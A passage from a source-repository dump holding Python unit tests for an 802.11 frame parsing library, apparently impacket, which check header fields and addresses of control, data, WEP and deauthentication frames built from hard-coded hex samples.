self.assertEqual(self.dot11fc.get_moreFrag(),1) 60 | 61 | def test_08_Retry(self): 62 | 'Test Retry field' 63 | self.assertEqual(self.dot11fc.get_retry(),0) 64 | self.dot11fc.set_retry(1) 65 | self.assertEqual(self.dot11fc.get_retry(),1) 66 | 67 | def test_09_PowerManagement(self): 68 | 'Test Power Management field' 69 | self.assertEqual(self.dot11fc.get_powerManagement(),0) 70 | self.dot11fc.set_powerManagement(1) 71 | self.assertEqual(self.dot11fc.get_powerManagement(),1) 72 | 73 | def test_10_MoreData(self): 74 | 'Test More Data field' 75 | self.assertEqual(self.dot11fc.get_moreData(),0) 76 | self.dot11fc.set_moreData(1) 77 | self.assertEqual(self.dot11fc.get_moreData(),1) 78 | 79 | # def test_11_WEP(self): 80 | # 'Test WEP field' 81 | # self.assertEqual(self.dot11fc.get_WEP(),0) 82 | # self.dot11fc.set_WEP(1) 83 | # self.assertEqual(self.dot11fc.get_WEP(),1) 84 | 85 | 86 | def test_12_Order(self): 87 | 'Test Order field' 88 | self.assertEqual(self.dot11fc.get_order(),0) 89 | self.dot11fc.set_order(1) 90 | self.assertEqual(self.dot11fc.get_order(),1) 91 | 92 | def test_13_latest(self): 93 | 'Test complete frame hexs' 94 | self.dot11fc.set_type_n_subtype(Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_POWERSAVE_POLL) 95 | self.dot11fc.set_order(1) 96 | self.dot11fc.set_moreData(1) 97 | self.dot11fc.set_retry(1) 98 | self.dot11fc.set_fromDS(1) 99 | 100 | frame=self.dot11fc.get_packet() 101 | 102 | self.assertEqual(frame, '\xa4\xaa\x00\x00\x00\x08\x54\xac\x2f\x85\xb7\x7f\xc3\x9e') 103 | 104 | 105 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11Common) 106 | unittest.TextTestRunner(verbosity=1).run(suite) 107 | -------------------------------------------------------------------------------- /tests/dot11/test_Dot11Decoder.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # sorry, this is very ugly, but I'm in python 2.5 4 | import sys 5 | sys.path.insert(0,"../..") 6 | 7 | from impacket.ImpactDecoder import Dot11Decoder #,Dot11Types 8 | from binascii import hexlify 9 | import unittest 10 | 11 | class TestDot11Decoder(unittest.TestCase): 12 | 13 | def setUp(self): 14 | self.WEPKey=None #Unknown 15 | self.WEPData='\x08\x41\x3a\x01\x00\x17\x3f\x44\x4f\x96\x00\x13\xce\x67\x0e\x73\x00\x17\x3f\x44\x4f\x96\xb0\x04\xeb\xcd\x8b\x00\x6e\xdf\x93\x36\x39\x5a\x39\x66\x6b\x96\xd1\x7a\xe1\xae\xb6\x11\x22\xfd\xf0\xd4\x0d\x6a\xb8\xb1\xe6\x2e\x1f\x25\x7d\x64\x1a\x07\xd5\x86\xd2\x19\x34\xb5\xf7\x8a\x62\x33\x59\x6e\x89\x01\x73\x50\x12\xbb\xde\x17\xdd\xb5\xd4\x35' 16 | dot11_decoder = Dot11Decoder() 17 | self.in0=dot11_decoder.decode(self.WEPData) 18 | self.in1=self.in0.child() 19 | self.in2=self.in1.child() 20 | self.in3=self.in2.child() 21 | if self.WEPKey: 22 | self.in4=self.in3.child() 23 | self.in5=self.in4.child() 24 | 25 | def test_01_Dot11Decoder(self): 26 | 'Test Dot11 decoder' 27 | self.assertEqual(str(self.in0.__class__), "impacket.dot11.Dot11") 28 | 29 | def test_02_Dot11DataFrameDecoder(self): 30 | 'Test Dot11DataFrame decoder' 31 | self.assertEqual(str(self.in1.__class__), "impacket.dot11.Dot11DataFrame") 32 | 33 | def test_03_Dot11WEP(self): 34 | 'Test Dot11WEP decoder' 35 | self.assertEqual(str(self.in2.__class__), "impacket.dot11.Dot11WEP") 36 | 37 | def test_04_Dot11WEPData(self): 38 | 'Test Dot11WEPData decoder' 39 | 40 | if not self.WEPKey: 41 | return 42 | 43 | self.assertEqual(str(self.in3.__class__), "impacket.dot11.Dot11WEPData") 44 | 45 | # Test if wep data "get_packet" is correct 46 | wepdata='\x6e\xdf\x93\x36\x39\x5a\x39\x66\x6b\x96\xd1\x7a\xe1\xae\xb6\x11\x22\xfd\xf0\xd4\x0d\x6a\xb8\xb1\xe6\x2e\x1f\x25\x7d\x64\x1a\x07\xd5\x86\xd2\x19\x34\xb5\xf7\x8a\x62\x33\x59\x6e\x89\x01\x73\x50\x12\xbb\xde\x17' 47 | self.assertEqual(self.in3.get_packet(),wepdata) 48 | 49 | def test_05_LLC(self): 50 | 'Test LLC decoder' 51 | if self.WEPKey: 52 | self.assertEqual(str(self.in4.__class__), "impacket.dot11.LLC") 53 | 54 | def test_06_Data(self): 55 | 'Test LLC Data decoder' 56 | 57 | if self.WEPKey: 58 | dataclass=self.in4.__class__ 59 | else: 60 | dataclass=self.in3.__class__ 61 | 62 | self.assertTrue(str(dataclass).find('ImpactPacket.Data') > 0) 63 | 64 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11Decoder) 65 | unittest.TextTestRunner(verbosity=1).run(suite) 66 | 67 | -------------------------------------------------------------------------------- /tests/dot11/test_FrameControlACK.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # sorry, this is very ugly, but I'm in python 2.5 4 | import sys 5 | sys.path.insert(0,"../..") 6 | 7 | from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameACK 8 | import unittest 9 | 10 | class TestDot11FrameControlACK(unittest.TestCase): 11 | 12 | def setUp(self): 13 | # 802.11 Control Frame ACK 14 | self.frame_orig='\xd4\x00\x00\x00\x00\x08\x54\xac\x2f\x85\xb7\x7f\xc3\x9e' 15 | 16 | d = Dot11(self.frame_orig) 17 | 18 | type = d.get_type() 19 | self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL) 20 | 21 | subtype = d.get_subtype() 22 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_ACKNOWLEDGMENT) 23 | 24 | typesubtype = d.get_type_n_subtype() 25 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_ACKNOWLEDGMENT) 26 | 27 | self.ack = Dot11ControlFrameACK(d.get_body_as_string()) 28 | 29 | d.contains(self.ack) 30 | 31 | def test_01_HeaderTailSize(self): 32 | 'Test Header and Tail Size field' 33 | self.assertEqual(self.ack.get_header_size(), 8) 34 | self.assertEqual(self.ack.get_tail_size(), 0) 35 | 36 | def test_02_Duration(self): 37 | 'Test Duration field' 38 | 39 | self.assertEqual(self.ack.get_duration(), 0) 40 | self.ack.set_duration(0x1234) 41 | self.assertEqual(self.ack.get_duration(), 0x1234) 42 | 43 | def test_03_RA(self): 44 | 'Test RA field' 45 | 46 | ra=self.ack.get_ra() 47 | self.assertEqual(ra.tolist(), [0x00,0x08,0x54,0xac,0x2f,0x85]) 48 | ra[0]=0x12 49 | ra[5]=0x34 50 | self.ack.set_ra(ra) 51 | self.assertEqual(self.ack.get_ra().tolist(), [0x12,0x08,0x54,0xac,0x2f,0x34]) 52 | 53 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11FrameControlACK) 54 | unittest.TextTestRunner(verbosity=1).run(suite) 55 | 56 | -------------------------------------------------------------------------------- /tests/dot11/test_FrameControlCFEnd.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # sorry, this is very ugly, but I'm in python 2.5 4 | import sys 5 | sys.path.insert(0,"../..") 6 | 7 | from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameCFEnd 8 | import unittest 9 | 10 | class TestDot11FrameControlCFEnd(unittest.TestCase): 11 | 12 | def setUp(self): 13 | # 802.11 Control Frame CFEnd 14 | self.frame_orig='\xe4\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x19\xe0\x98\x04\xd4\xad\x9c\x3c\xc0' 15 | 16 | d = Dot11(self.frame_orig) 17 | 18 | type = d.get_type() 19 | self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL) 20 | 21 | subtype = d.get_subtype() 22 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_CF_END) 23 | 24 | typesubtype = d.get_type_n_subtype() 25 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_CF_END) 26 | 27 | self.cfend = Dot11ControlFrameCFEnd(d.get_body_as_string()) 28 | 29 | d.contains(self.cfend) 30 | 31 | def test_01_HeaderTailSize(self): 32 | 'Test Header and Tail Size field' 33 | self.assertEqual(self.cfend.get_header_size(), 14) 34 | self.assertEqual(self.cfend.get_tail_size(), 0) 35 | 36 | def test_02_Duration(self): 37 | 'Test Duration field' 38 | 39 | self.assertEqual(self.cfend.get_duration(), 0x00) 40 | self.cfend.set_duration(0x1234) 41 | self.assertEqual(self.cfend.get_duration(), 0x1234) 42 | 43 | def test_03_RA(self): 44 | 'Test RA field' 45 | 46 | ra=self.cfend.get_ra() 47 | self.assertEqual(ra.tolist(), [0xff,0xff,0xff,0xff,0xff,0xff]) 48 | ra[0]=0x12 49 | ra[5]=0x34 50 | self.cfend.set_ra(ra) 51 | self.assertEqual(self.cfend.get_ra().tolist(), [0x12,0xff,0xff,0xff,0xff,0x34]) 52 | 53 | def test_04_BSSID(self): 54 | 'Test BSS ID field' 55 | 56 | bssid=self.cfend.get_bssid() 57 | self.assertEqual(bssid.tolist(), [0x00,0x19,0xe0,0x98,0x04,0xd4]) 58 | bssid[0]=0x12 59 | bssid[5]=0x34 60 | self.cfend.set_bssid(bssid) 61 | self.assertEqual(self.cfend.get_bssid().tolist(), [0x12,0x19,0xe0,0x98,0x04,0x34]) 62 | 63 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11FrameControlCFEnd) 64 | unittest.TextTestRunner(verbosity=1).run(suite) 65 | 66 | -------------------------------------------------------------------------------- /tests/dot11/test_FrameControlCFEndCFACK.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # sorry, this is very ugly, but I'm in python 2.5 4 | import sys 5 | sys.path.insert(0,"../..") 6 | 7 | from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameCFEndCFACK 8 | import unittest 9 | 10 | class TestDot11FrameControlCFEndCFACK(unittest.TestCase): 11 | 12 | def setUp(self): 13 | # 802.11 Control Frame CFEndCFACK 14 | self.frame_orig='\xf4\x74\xde\xed\xe5\x56\x85\xf8\xd2\x3b\x96\xae\x0f\xb0\xd9\x8a\x03\x02\x38\x00' 15 | 16 | d = Dot11(self.frame_orig) 17 | 18 | type = d.get_type() 19 | self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL) 20 | 21 | subtype = d.get_subtype() 22 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_CF_END_CF_ACK) 23 | 24 | typesubtype = d.get_type_n_subtype() 25 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_CF_END_CF_ACK) 26 | 27 | self.cfendcfack = Dot11ControlFrameCFEndCFACK(d.get_body_as_string()) 28 | 29 | d.contains(self.cfendcfack) 30 | 31 | def test_01_HeaderTailSize(self): 32 | 'Test Header and Tail Size field' 33 | self.assertEqual(self.cfendcfack.get_header_size(), 14) 34 | self.assertEqual(self.cfendcfack.get_tail_size(), 0) 35 | 36 | def test_02_Duration(self): 37 | 'Test Duration field' 38 | 39 | self.assertEqual(self.cfendcfack.get_duration(), 0xEDDE) 40 | self.cfendcfack.set_duration(0x1234) 41 | self.assertEqual(self.cfendcfack.get_duration(), 0x1234) 42 | 43 | def test_03_RA(self): 44 | 'Test RA field' 45 | 46 | ra=self.cfendcfack.get_ra() 47 | self.assertEqual(ra.tolist(), [0xe5,0x56,0x85,0xf8,0xd2,0x3b]) 48 | ra[0]=0x12 49 | ra[5]=0x34 50 | self.cfendcfack.set_ra(ra) 51 | self.assertEqual(self.cfendcfack.get_ra().tolist(), [0x12,0x56,0x85,0xf8,0xd2,0x34]) 52 | 53 | def test_04_BSSID(self): 54 | 'Test BSS ID field' 55 | 56 | bssid=self.cfendcfack.get_bssid() 57 | self.assertEqual(bssid.tolist(), [0x96,0xae,0x0f,0xb0,0xd9,0x8a]) 58 | bssid[0]=0x12 59 | bssid[5]=0x34 60 | self.cfendcfack.set_bssid(bssid) 61 | self.assertEqual(self.cfendcfack.get_bssid().tolist(), [0x12,0xae,0x0f,0xb0,0xd9,0x34]) 62 | 63 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11FrameControlCFEndCFACK) 64 | unittest.TextTestRunner(verbosity=1).run(suite) 65 | -------------------------------------------------------------------------------- /tests/dot11/test_FrameControlCTS.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # sorry, this is very ugly, but I'm in python 2.5 4 | import sys 5 | sys.path.insert(0,"../..") 6 | 7 | from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameCTS 8 | import unittest 9 | 10 | class TestDot11FrameControlCTS(unittest.TestCase): 11 | 12 | def setUp(self): 13 | # 802.11 Control Frame CTS 14 | self.frame_orig='\xc4\x00\x3b\x12\x00\x19\xe0\x98\x04\xd4\x2b\x8a\x65\x17' 15 | 16 | d = Dot11(self.frame_orig) 17 | 18 | type = d.get_type() 19 | self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL) 20 | 21 | subtype = d.get_subtype() 22 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_CLEAR_TO_SEND) 23 | 24 | typesubtype = d.get_type_n_subtype() 25 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_CLEAR_TO_SEND) 26 | 27 | self.cts = Dot11ControlFrameCTS(d.get_body_as_string()) 28 | 29 | d.contains(self.cts) 30 | 31 | def test_01_HeaderTailSize(self): 32 | 'Test Header and Tail Size field' 33 | self.assertEqual(self.cts.get_header_size(), 8) 34 | self.assertEqual(self.cts.get_tail_size(), 0) 35 | 36 | def test_02_Duration(self): 37 | 'Test Duration field' 38 | 39 | self.assertEqual(self.cts.get_duration(), 4667) 40 | self.cts.set_duration(0x1234) 41 | self.assertEqual(self.cts.get_duration(), 0x1234) 42 | 43 | def test_03_RA(self): 44 | 'Test RA field' 45 | 46 | ra=self.cts.get_ra() 47 | 48 | self.assertEqual(ra.tolist(), [0x00,0x19,0xe0,0x98,0x04,0xd4]) 49 | ra[0]=0x12 50 | ra[5]=0x34 51 | self.cts.set_ra(ra) 52 | self.assertEqual(self.cts.get_ra().tolist(), [0x12,0x19,0xe0,0x98,0x04,0x34]) 53 | 54 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11FrameControlCTS) 55 | unittest.TextTestRunner(verbosity=1).run(suite) 56 | 57 | -------------------------------------------------------------------------------- /tests/dot11/test_FrameControlPSPoll.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # sorry, this is very ugly, but I'm in python 2.5 4 | import sys 5 | sys.path.insert(0,"../..") 6 | 7 | from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFramePSPoll 8 | from binascii import hexlify 9 | import unittest 10 | 11 | class TestDot11FrameControlPSPoll(unittest.TestCase): 12 | 13 | def setUp(self): 14 | # 802.11 Control Frame PSPoll 15 | self.frame_orig='\xa6\x73\xf1\xaf\x48\x06\xee\x23\x2b\xc9\xfe\xbe\xe5\x05\x4c\x0a\x04\xa0\x00\x0f' 16 | 17 | d = Dot11(self.frame_orig) 18 | 19 | type = d.get_type() 20 | self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL) 21 | 22 | subtype = d.get_subtype() 23 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_POWERSAVE_POLL) 24 | 25 | typesubtype = d.get_type_n_subtype() 26 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_POWERSAVE_POLL) 27 | 28 | self.pspoll = Dot11ControlFramePSPoll(d.get_body_as_string()) 29 | 30 | d.contains(self.pspoll) 31 | 32 | def test_01_HeaderTailSize(self): 33 | 'Test Header and Tail Size field' 34 | self.assertEqual(self.pspoll.get_header_size(), 14) 35 | self.assertEqual(self.pspoll.get_tail_size(), 0) 36 | 37 | def test_02_AID(self): 38 | 'Test AID field' 39 | 40 | self.assertEqual(self.pspoll.get_aid(), 0xAFF1) 41 | self.pspoll.set_aid(0x1234) 42 | self.assertEqual(self.pspoll.get_aid(), 0x1234) 43 | 44 | def test_03_BSSID(self): 45 | 'Test BSS ID field' 46 | 47 | bssid=self.pspoll.get_bssid() 48 | self.assertEqual(bssid.tolist(), [0x48,0x06,0xee,0x23,0x2b,0xc9]) 49 | bssid[0]=0x12 50 | bssid[5]=0x34 51 | self.pspoll.set_bssid(bssid) 52 | self.assertEqual(self.pspoll.get_bssid().tolist(), [0x12,0x06,0xee,0x23,0x2b,0x34]) 53 | 54 | def test_04_TA(self): 55 | 'Test TA field' 56 | 57 | ta=self.pspoll.get_ta() 58 | self.assertEqual(ta.tolist(), [0xfe,0xbe,0xe5,0x05,0x4c,0x0a]) 59 | ta[0]=0x12 60 | ta[5]=0x34 61 | self.pspoll.set_ta(ta) 62 | self.assertEqual(self.pspoll.get_ta().tolist(), [0x12,0xbe,0xe5,0x05,0x4c,0x34]) 63 | 64 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11FrameControlPSPoll) 65 | unittest.TextTestRunner(verbosity=1).run(suite) 66 | 67 | -------------------------------------------------------------------------------- /tests/dot11/test_FrameControlRTS.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # sorry, this is very ugly, but I'm in python 2.5 4 | import sys 5 | sys.path.insert(0,"../..") 6 | 7 | from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameRTS 8 | from binascii import hexlify 9 | import unittest 10 | 11 | class TestDot11FrameControlRTS(unittest.TestCase): 12 | 13 | def setUp(self): 14 | # 802.11 Control Frame RTS 15 | self.frame_orig='\xb4\x00\x81\x01\x00\x08\x54\xac\x2f\x85\x00\x23\x4d\x09\x86\xfe\x99\x75\x43\x73' 16 | 17 | d = Dot11(self.frame_orig) 18 | 19 | type = d.get_type() 20 | self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL) 21 | 22 | subtype = d.get_subtype() 23 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_REQUEST_TO_SEND) 24 | 25 | typesubtype = d.get_type_n_subtype() 26 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_REQUEST_TO_SEND) 27 | 28 | self.rts = Dot11ControlFrameRTS(d.get_body_as_string()) 29 | 30 | d.contains(self.rts) 31 | 32 | def test_01_HeaderTailSize(self): 33 | 'Test Header and Tail Size field' 34 | self.assertEqual(self.rts.get_header_size(), 14) 35 | self.assertEqual(self.rts.get_tail_size(), 0) 36 | 37 | def test_02_Duration(self): 38 | 'Test Duration field' 39 | 40 | self.assertEqual(self.rts.get_duration(), 0x181) 41 | self.rts.set_duration(0x1234) 42 | self.assertEqual(self.rts.get_duration(), 0x1234) 43 | 44 | def test_03_RA(self): 45 | 'Test RA field' 46 | 47 | ra=self.rts.get_ra() 48 | self.assertEqual(ra.tolist(), [0x00,0x08,0x54,0xac,0x2f,0x85]) 49 | ra[0]=0x12 50 | ra[5]=0x34 51 | self.rts.set_ra(ra) 52 | self.assertEqual(self.rts.get_ra().tolist(), [0x12,0x08,0x54,0xac,0x2f,0x34]) 53 | 54 | def test_04_TA(self): 55 | 'Test TA field' 56 | 57 | ta=self.rts.get_ta() 58 | self.assertEqual(ta.tolist(), [0x00,0x23,0x4d,0x09,0x86,0xfe]) 59 | ta[0]=0x12 60 | ta[5]=0x34 61 | self.rts.set_ta(ta) 62 | self.assertEqual(self.rts.get_ta().tolist(), [0x12,0x23,0x4d,0x09,0x86,0x34]) 63 | 64 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11FrameControlRTS) 65 | unittest.TextTestRunner(verbosity=1).run(suite) 66 | 67 | -------------------------------------------------------------------------------- /tests/dot11/test_FrameData.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # sorry, this is very ugly, but I'm in python 2.5 4 | import sys 5 | sys.path.insert(0,"../..") 6 | 7 | from impacket.dot11 import Dot11, Dot11Types, Dot11DataFrame 8 | from binascii import hexlify 9 | import unittest 10 | 11 | class TestDot11DataFrames(unittest.TestCase): 12 | 13 | def setUp(self): 14 | # 802.11 Data Frame 15 | # 16 | self.frame_orig='\x08\x01\x30\x00\x00\x08\x54\xac\x2f\x85\x00\x23\x4d\x09\x86\xfe\x00\x08\x54\xac\x2f\x85\x40\x44\xaa\xaa\x03\x00\x00\x00\x08\x00\x45\x00\x00\x28\x72\x37\x40\x00\x80\x06\x6c\x22\xc0\xa8\x01\x02\xc3\x7a\x97\x51\xd7\xa0\x00\x50\xa5\xa5\xb1\xe0\x12\x1c\xa9\xe1\x50\x10\x4e\x75\x59\x74\x00\x00\xed\x13\x22\x91' 17 | 18 | d = Dot11(self.frame_orig) 19 | 20 | type = d.get_type() 21 | self.assertEqual(type,Dot11Types.DOT11_TYPE_DATA) 22 | 23 | subtype = d.get_subtype() 24 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_DATA) 25 | 26 | typesubtype = d.get_type_n_subtype() 27 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_DATA_SUBTYPE_DATA) 28 | 29 | self.data = Dot11DataFrame(d.get_body_as_string()) 30 | 31 | d.contains(self.data) 32 | 33 | def test_01_HeaderSize(self): 34 | 'Test Header and Tail Size field' 35 | self.assertEqual(self.data.get_header_size(), 22) 36 | self.assertEqual(self.data.get_tail_size(), 0) 37 | 38 | def test_02_Duration(self): 39 | 'Test Duration field' 40 | 41 | self.assertEqual(self.data.get_duration(), 0x30) 42 | self.data.set_duration(0x1234) 43 | self.assertEqual(self.data.get_duration(), 0x1234) 44 | 45 | def test_03_Address_1(self): 46 | 'Test Address 1 field' 47 | 48 | addr=self.data.get_address1() 49 | 50 | self.assertEqual(addr.tolist(), [0x00,0x08,0x54,0xac,0x2f,0x85]) 51 | addr[0]=0x12 52 | addr[5]=0x34 53 | self.data.set_address1(addr) 54 | self.assertEqual(self.data.get_address1().tolist(), [0x12,0x08,0x54,0xac,0x2f,0x34]) 55 | 56 | def test_04_Address_2(self): 57 | 'Test Address 2 field' 58 | 59 | addr=self.data.get_address2() 60 | 61 | self.assertEqual(addr.tolist(), [0x00,0x23,0x4d,0x09,0x86,0xfe]) 62 | addr[0]=0x12 63 | addr[5]=0x34 64 | self.data.set_address2(addr) 65 | self.assertEqual(self.data.get_address2().tolist(), [0x12,0x23,0x4d,0x09,0x86,0x34]) 66 | 67 | def test_05_Address_3(self): 68 | 'Test Address 3 field' 69 | 70 | addr=self.data.get_address3() 71 | 72 | self.assertEqual(addr.tolist(), [0x00,0x08,0x54,0xac,0x2f,0x85]) 73 | addr[0]=0x12 74 | addr[5]=0x34 75 | self.data.set_address3(addr) 76 | self.assertEqual(self.data.get_address3().tolist(), [0x12,0x08,0x54,0xac,0x2f,0x34]) 77 | 78 | def test_06_sequence_control(self): 79 | 'Test Sequence control field' 80 | self.assertEqual(self.data.get_sequence_control(), 0x4440) 81 | self.data.set_sequence_control(0x1234) 82 | self.assertEqual(self.data.get_sequence_control(), 0x1234) 83 | 84 | def test_07_fragment_number(self): 85 | 'Test Fragment number field' 86 | self.assertEqual(self.data.get_fragment_number(), 0x0000) 87 | self.data.set_fragment_number(0xF1) # Es de 4 bit 88 | self.assertEqual(self.data.get_fragment_number(), 0x01) 89 | 90 | def test_08_sequence_number(self): 91 | 'Test Sequence number field' 92 | self.assertEqual(self.data.get_sequence_number(), 0x0444) 93 | self.data.set_sequence_number(0xF234) # Es de 12 bit 94 | self.assertEqual(self.data.get_sequence_number(), 0x0234) 95 | 96 | def test_09_frame_data(self): 97 | 'Test Frame Data field' 98 | # Test with packet without addr4 99 | frame_body="\xaa\xaa\x03\x00\x00\x00\x08\x00\x45\x00\x00\x28\x72\x37\x40\x00\x80\x06\x6c\x22\xc0\xa8\x01\x02\xc3\x7a\x97\x51\xd7\xa0\x00\x50\xa5\xa5\xb1\xe0\x12\x1c\xa9\xe1\x50\x10\x4e\x75\x59\x74\x00\x00" 100 | self.assertEqual(self.data.get_frame_body(), frame_body) 101 | 102 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11DataFrames) 103 | unittest.TextTestRunner(verbosity=1).run(suite) 104 | 105 | -------------------------------------------------------------------------------- /tests/dot11/test_FrameManagementDeauthentication.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # sorry, this is very ugly, but I'm in python 2.5 4 | import sys 5 | sys.path.insert(0,"../..") 6 | 7 | from impacket.dot11 import Dot11, Dot11Types, Dot11ManagementFrame,Dot11ManagementDeauthentication 8 | from impacket.ImpactDecoder import RadioTapDecoder 9 | from binascii import hexlify 10 | import unittest 11 | 12 | class TestDot11ManagementBeaconFrames(unittest.TestCase): 13 | 14 | def setUp(self): 15 | # 802.11 Management Frame 16 | # 17 | self.rawframe='\x00\x00\x10\x00\x6e\x00\x00\x00\x00\x02\x94\x09\xa0\x00\x3a\x00\xc0\x00\x3a\x01\x00\x15\xaf\x64\xac\xbd\x00\x18\x39\xc1\xfc\xe2\x00\x18\x39\xc1\xfc\xe2\x20\x3b\x0f\x00' 18 | self.radiotap_decoder = RadioTapDecoder() 19 | radiotap=self.radiotap_decoder.decode(self.rawframe) 20 | 21 | self.assertEqual(str(radiotap.__class__), "impacket.dot11.RadioTap") 22 | 23 | self.dot11=radiotap.child() 24 | self.assertEqual(str(self.dot11.__class__), "impacket.dot11.Dot11") 25 | 26 | type = self.dot11.get_type() 27 | self.assertEqual(type,Dot11Types.DOT11_TYPE_MANAGEMENT) 28 | 29 | subtype = self.dot11.get_subtype() 30 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_MANAGEMENT_DEAUTHENTICATION) 31 | 32 | typesubtype = self.dot11.get_type_n_subtype() 33 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_MANAGEMENT_SUBTYPE_DEAUTHENTICATION) 34 | 35 | self.management_base=self.dot11.child() 36 | self.assertEqual(str(self.management_base.__class__), "impacket.dot11.Dot11ManagementFrame") 37 | 38 | self.management_deauthentication=self.management_base.child() 39 | self.assertEqual(str(self.management_deauthentication.__class__), "impacket.dot11.Dot11ManagementDeauthentication") 40 | 41 | 42 | def test_01(self): 43 | 'Test Header and Tail Size field' 44 | self.assertEqual(self.management_base.get_header_size(), 22) 45 | self.assertEqual(self.management_base.get_tail_size(), 0) 46 | self.assertEqual(self.management_deauthentication.get_header_size(), 2) 47 | self.assertEqual(self.management_deauthentication.get_tail_size(), 0) 48 | 49 | def test_02(self): 50 | 'Test Duration field' 51 | 52 | self.assertEqual(self.management_base.get_duration(), 0x013a) 53 | self.management_base.set_duration(0x1234) 54 | self.assertEqual(self.management_base.get_duration(), 0x1234) 55 | 56 | def test_03(self): 57 | 'Test Destination Address field' 58 | 59 | addr=self.management_base.get_destination_address() 60 | 61 | self.assertEqual(addr.tolist(), [0x00,0x15,0xAF,0x64,0xAC,0xBD]) 62 | addr[0]=0x12 63 | addr[5]=0x34 64 | self.management_base.set_destination_address(addr) 65 | self.assertEqual(self.management_base.get_destination_address().tolist(), [0x12,0x15,0xAF,0x64,0xAC,0x34]) 66 | 67 | def test_04(self): 68 | 'Test Source Address field' 69 | 70 | addr=self.management_base.get_source_address() 71 | 72 | self.assertEqual(addr.tolist(), [0x00,0x18,0x39,0xC1,0xFC,0xE2]) 73 | addr[0]=0x12 74 | addr[5]=0x34 75 | self.management_base.set_source_address(addr) 76 | self.assertEqual(self.management_base.get_source_address().tolist(), [0x12,0x18,0x39,0xC1,0xFC,0x34]) 77 | 78 | def test_05(self): 79 | 'Test BSSID Address field' 80 | 81 | addr=self.management_base.get_bssid() 82 | 83 | self.assertEqual(addr.tolist(), [0x00,0x18,0x39,0xC1,0xFC,0xE2]) 84 | addr[0]=0x12 85 | addr[5]=0x34 86 | self.management_base.set_bssid(addr) 87 | self.assertEqual(self.management_base.get_bssid().tolist(), [0x12,0x18,0x39,0xC1,0xFC,0x34]) 88 | 89 | def test_06(self): 90 | 'Test Sequence control field' 91 | self.assertEqual(self.management_base.get_sequence_control(), 0x3b20) 92 | self.management_base.set_sequence_control(0x1234) 93 | self.assertEqual(self.management_base.get_sequence_control(), 0x1234) 94 | 95 | def test_07(self): 96 | 'Test Fragment number field' 97 | self.assertEqual(self.management_base.get_fragment_number(), 0x00) 98 | self.management_base.set_fragment_number(0xF1) # Es de 4 bit 99 | self.assertEqual(self.management_base.get_fragment_number(), 0x01) 100 | 101 | def test_08(self): 102 | 'Test Sequence number field' 103 | self.assertEqual(self.management_base.get_sequence_number(), 946) 104 | self.management_base.set_sequence_number(0xF234) # Es de 12 bit 105 | self.assertEqual(self.management_base.get_sequence_number(), 0x0234) 106 | 107 | def test_09(self): 108 | 'Test Management Frame Data field' 109 | frame_body="\x0f\x00" 110 | self.assertEqual(self.management_base.get_frame_body(), frame_body) 111 | 112 | def test_10(self): 113 | 'Test Management Reason Code field' 114 | self.assertEqual(self.management_deauthentication.get_reason_code(), 0x000f) 115 | self.management_deauthentication.set_reason_code(0x8765) 116 | self.assertEqual(self.management_deauthentication.get_reason_code(), 0x8765) 117 | 118 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11ManagementBeaconFrames) 119 | unittest.TextTestRunner(verbosity=1).run(suite) 120 | -------------------------------------------------------------------------------- /tests/dot11/test_FrameManagementDisassociation.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # sorry, this is very ugly, but I'm in python 2.5 4 | import sys 5 | 